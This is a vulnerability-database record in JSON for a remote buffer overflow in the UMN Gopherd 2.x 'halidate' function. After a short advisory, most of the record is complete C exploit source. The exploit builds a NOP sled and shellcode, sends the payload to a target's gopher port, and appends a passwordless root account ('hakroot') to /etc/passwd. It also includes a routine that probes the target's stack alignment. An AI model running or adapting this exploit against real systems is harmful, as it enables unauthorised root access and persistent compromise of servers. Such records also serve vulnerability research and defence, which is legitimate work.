{"lastseen": "2017-11-19T14:20:01", "modified": "2014-07-01T00:00:00", "description": "No description provided by source.", "cvss": {"score": 0.0, "vector": "NONE"}, "published": "2014-07-01T00:00:00", "status": "cve,poc", "enchantments": {"score": {"value": 0.1, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": 0.1}, "href": "https://www.seebug.org/vuldb/ssvid-74046", "references": [], "enchantments_done": [], "id": "SSV:74046", "title": "UMN Gopherd 2.x Halidate Function Buffer Overflow Vulnerability", "bulletinFamily": "exploit", "reporter": "Root", "cvelist": [], "viewCount": 7, "sourceData": "\n source: http://www.securityfocus.com/bid/1591/info\r\n\r\nIt is possible to either execute arbitrary code or crash a remote system running University of Minnesota's Gopher Daemon, depending on the data entered. An unchecked buffer exists in the 'halidate' function of Gopherd, where the 512 byte buffer can be overwritten with approximately 600 bytes of data.\r\n\r\n/* (linux)Gopher+[v2.3.1p0-]: Daemon remote buffer \r\noverflow.\r\n Findings and exploit by: v9[v9@fakehalo.org]. \r\n(vade79)\r\n\r\n It is possible to exploit an unchecked sprintf call\r\nin the\r\n "halidate" option in gopherd.c. This exploit will\r\nattempt \r\n to write a line to /etc/passwd. (as a\r\nsuperuser)\r\n\r\n The gopher+ daemon has multiple overflows in \r\ndifferent\r\n functions, but most overwrite the pointer(s) with\r\nhardcoded\r\n data from the program which are limited. \r\nBut, the\r\n "halidate" option/call was a little hidden suprise\r\nfor me.\r\n\r\n When the exploit is sucessfully executed it adds the\r\nline:\r\n "hakroot::0:0:hacked:/:/bin/sh" to /etc/passwd, \r\nwith no\r\n 0x0A return, which could cause some problems in\r\nsome\r\n situations. You may have to wait till someone on\r\nthe box\r\n modifies their /etc/passwd by adding a user or what\r\nnot.\r\n\r\n Syntax:\r\n [syntax]: ./xgopher <target> [port] [offset]\r\n[alignment].\r\n [syntax]: ./xgopher <target> <[port] [-getalignment]>.\r\n\r\n Explaination:\r\n If you don't know what the alignment of the server is,\r\n(which\r\n isn't expected *g*) just type "./xgopher hostname\r\n[port]\r\n -getalignment" and with aligment you're given type\r\n"./xgopher\r\n hostname <port> <offset> <alignment response you are\r\ngiven>".\r\n\r\n Info: \r\n The following segment is from gopherd.c [line\r\n1076/3453]:\r\n ("pathname" in the code segment is supplied by the\r\nuser)\r\n\r\n--------------------------------------------------------------------------------\r\nvoid\r\nOutputAuthForm(int sockfd, char *pathname, char *host, int\r\nport, CMDprotocol p)\r\n{\r\n char tmpbuf[512];\r\n ...\r\n sprintf(tmpbuf,\r\n "<FORM METHOD=\\"GET\\"\r\nACTION=\\"http://%s:%d/halidate%%20%s\\">\\r\\n",\r\n host, port, pathname);\r\n ...\r\n}\r\n--------------------------------------------------------------------------------\r\n\r\n Notes:\r\n This exploit requires that the service is running as\r\nroot(to\r\n write to /etc/passwd). Even if the gopher+ daemon\r\ndisplays\r\n itself running as another user, as long as it's\r\nprocess is\r\n running as root(uid=0) it should exploit successfully. \r\nDo to\r\n the servers local host+port character lengths\r\nchanging the\r\n alignment will almost never be the same, I recommend\r\nusing\r\n the -getalignment parameter. You can play as much\r\nas you\r\n want on this, the process is forked and won't\r\ncrash the\r\n gopher+ daemon with invalid pointers. This was also\r\ntested\r\n effective on the 2.3 version of the gopher+ \r\ndaemon.\r\n Although this exploit is for linux servers, gopher+\r\nisn't\r\n just built for linux, it is also supported for BSD,\r\nSolaris,\r\n SunOS, HP-UX and other operation \r\nsystems.\r\n\r\n Fix:\r\n Compile with "./configure --disable-auth" (isn't\r\ndisabled by\r\n default) and then recompile gopher or wait for a\r\npatch.\r\n\r\n Tests:\r\n Built and tested on slackware 3.6 and slackware 7.0\r\nlinux.\r\n (with lots of junk added to my /etc/passwd \r\n*g*)\r\n*/\r\n#define BSIZE 512 // buffer size. (tmpbuf[512]\r\nminus server data)\r\n#define PADDING 150 // ret reps. (host+port\r\nlength guessing room)\r\n#define POINTER 0xbffff65c // base pointer in which\r\noffsets are added.\r\n#define DEFAULT_PORT 70 // default gopher+ daemon\r\nport.\r\n#define DEFAULT_OFFSET 0 // default offset. (argument\r\nis added)\r\n#define DEFAULT_ALIGN 0 // alignment. (depends on\r\nhost+port length)\r\n#define TIMEOUT 5 // connection timeout time.\r\n#include <signal.h>\r\n#include <netinet/in.h>\r\n#include <netdb.h>\r\nstatic char exec[]= // appends\r\n"hakroot::0:0:hacked:/:/bin/sh" to /etc/passwd.\r\n\r\n"\\xeb\\x03\\x5f\\xeb\\x05\\xe8\\xf8\\xff\\xff\\xff\\x31\\xdb\\xb3\\x35\\x01\\xfb\\x30\\xe4\\x88"\r\n\r\n"\\x63\\x0b\\x31\\xc9\\x66\\xb9\\x01\\x04\\x31\\xd2\\x66\\xba\\xa4\\x01\\x31\\xc0\\xb0\\x05\\xcd"\r\n\r\n"\\x80\\x89\\xc3\\x31\\xc9\\xb1\\x5b\\x01\\xf9\\x31\\xd2\\xb2\\x1d\\x31\\xc0\\xb0\\x04\\xcd\\x80"\r\n\r\n"\\x31\\xc0\\xb0\\x01\\xcd\\x80\\x2f\\x65\\x74\\x63\\x2f\\x70\\x61\\x73\\x73\\x77\\x64\\x01\\x90"\r\n\r\n"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"\r\n\r\n"\\x90\\x90\\x90\\x90\\x90\\x90\\x68\\x61\\x6b\\x72\\x6f\\x6f\\x74\\x3a\\x3a\\x30\\x3a\\x30\\x3a"\r\n\r\n"\\x68\\x61\\x63\\x6b\\x65\\x64\\x3a\\x2f\\x3a\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68";\r\nvoid timeout(){printf("[timeout]: Connection\r\ntimeout(%d).\\n",TIMEOUT);quit(-1);}\r\nint main(int argc,char **argv){\r\n char bof[BSIZE];\r\n int i,sock,port,offset,align,ga=0;\r\n long ret=DEFAULT_OFFSET;\r\n struct hostent *t;\r\n struct sockaddr_in s;\r\n printf("*** (linux)Gopherd+[v2.3.1p0-]: Remote buffer\r\noverflow, by: v9[v9@fake"\r\n "halo.org].\\n");\r\n if(argc<2){\r\n printf("[syntax]: %s <target> [port] [offset]\r\n[alignment].\\n",argv[0]);\r\n printf("[syntax]: %s <target> <[port]\r\n[-getalignment]>.\\n",argv[0]);\r\n quit(0);\r\n }\r\n if(argc>2){\r\n\r\nif(!strcmp(argv[2],"-getalignment")){ga=1;port=DEFAULT_PORT;}\r\n else{port=atoi(argv[2]);}\r\n }\r\n else{port=DEFAULT_PORT;}\r\n if(argc>3){\r\n if(!strcmp(argv[3],"-getalignment")){ga=1;}\r\n else{offset=atoi(argv[3]);}\r\n }\r\n else{offset=DEFAULT_OFFSET;}\r\n if(argc>4){\r\n if(atoi(argv[4])<0||atoi(argv[4])>3){\r\n printf("[ignored]: Invalid alignment, using default\r\nalignment. (0-3)\\n");\r\n align=DEFAULT_ALIGN;\r\n }\r\n else{align=atoi(argv[4]);}\r\n }\r\n else{align=DEFAULT_ALIGN;}\r\n if(ga){getalignment(argv[1],port);}\r\n else{\r\n ret=(POINTER+offset);\r\n printf("[stats]: Addr: 0x%lx, Offset: %d, Align: %d, Size:\r\n%d, Padding: %d.\\n"\r\n ,ret,offset,align,BSIZE,PADDING);\r\n for(i=align;i<BSIZE;i+=4){*(long *)&bof[i]=ret;}\r\n \r\nfor(i=0;i<(BSIZE-strlen(exec)-PADDING);i++){*(bof+i)=0x90;}\r\n memcpy(bof+i,exec,strlen(exec));\r\n memcpy(bof,"halidate ",9);\r\n bof[BSIZE]='\\0';\r\n if(s.sin_addr.s_addr=inet_addr(argv[1])){\r\n if(!(t=gethostbyname(argv[1]))){\r\n printf("[error]: Couldn't resolve. (%s)\\n",argv[1]);\r\n quit(-1);\r\n }\r\n \r\nmemcpy((char*)&s.sin_addr,(char*)t->h_addr,sizeof(s.sin_addr));\r\n }\r\n s.sin_family=AF_INET;\r\n s.sin_port=htons(port);\r\n sock=socket(AF_INET,SOCK_STREAM,0);\r\n signal(SIGALRM,timeout);\r\n printf("[data]: Attempting to connect to %s on port\r\n%d.\\n",argv[1],port);\r\n alarm(TIMEOUT);\r\n if(connect(sock,(struct sockaddr_in*)&s,sizeof(s))){\r\n printf("[error]: Connection failed. (port=%d)\\n",port);\r\n quit(-1);\r\n }\r\n alarm(0);\r\n printf("[data]: Connected successfully.\r\n(port=%d)\\n",port);\r\n printf("[data]: Sending buffer(%d) to\r\nserver.\\n",strlen(bof));\r\n write(sock,bof,strlen(bof));\r\n usleep(500000);\r\n printf("[data]: Closing socket.\\n");\r\n close(sock);\r\n }\r\n quit(0);\r\n}\r\nint getalignment(char *target,int port){\r\n char buf[1024];\r\n int i,j,si,sock,math;\r\n struct hostent *t;\r\n struct sockaddr_in s;\r\n if(s.sin_addr.s_addr=inet_addr(target)){\r\n if(!(t=gethostbyname(target))){\r\n printf("[error]: Couldn't resolve. (%s)\\n",target);\r\n quit(-1);\r\n }\r\n \r\nmemcpy((char*)&s.sin_addr,(char*)t->h_addr,sizeof(s.sin_addr));\r\n }\r\n s.sin_family=AF_INET;\r\n s.sin_port=htons(port);\r\n sock=socket(AF_INET,SOCK_STREAM,0);\r\n signal(SIGALRM,timeout);\r\n printf("[data]: Attempting to connect to %s on port\r\n%d.\\n",target,port);\r\n alarm(TIMEOUT);\r\n if(connect(sock,(struct sockaddr_in*)&s,sizeof(s))){\r\n printf("[error]: Connection failed. (port=%d)\\n",port);\r\n quit(-1);\r\n }\r\n alarm(0);\r\n printf("[data]: Connected successfully. (port=%d)\\n",port);\r\n alarm(TIMEOUT);\r\n write(sock,"halidate \\n",10);\r\n for(i=0;i<2;i++){if(!read(sock,buf,1024)){si++;}}\r\n i=0;while(buf[i]&&!(buf[i]==0x4E)){i++;}\r\n j=0;while(buf[j]&&!(buf[j]==0x25)){j++;}\r\n usleep(500000);\r\n printf("[data]: Closing socket.\\n");\r\n close(sock);\r\n if(!si||i>=j||strlen(buf)<64){\r\n printf("[error]: Too minimal or invalid data recieved to\r\ncalculate. (try agai"\r\n "n?)\\n");\r\n quit(-1);\r\n }\r\n else{\r\n math=(i-j-2);\r\n while(math<0){math+=4;}\r\n printf("[data]: Alignment calculation: %d.\\n",math);\r\n }\r\n}\r\nint quit(int i){\r\n if(i){\r\n printf("[exit]: Dirty exit.\\n");\r\n exit(0);\r\n }\r\n else{\r\n printf("[exit]: Clean exit.\\n");\r\n exit(-1);\r\n }\r\n}\n ", "sourceHref": "https://www.seebug.org/vuldb/ssvid-74046", "type": "seebug", "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645382304, "score": 1659785532, "epss": 1678848988}}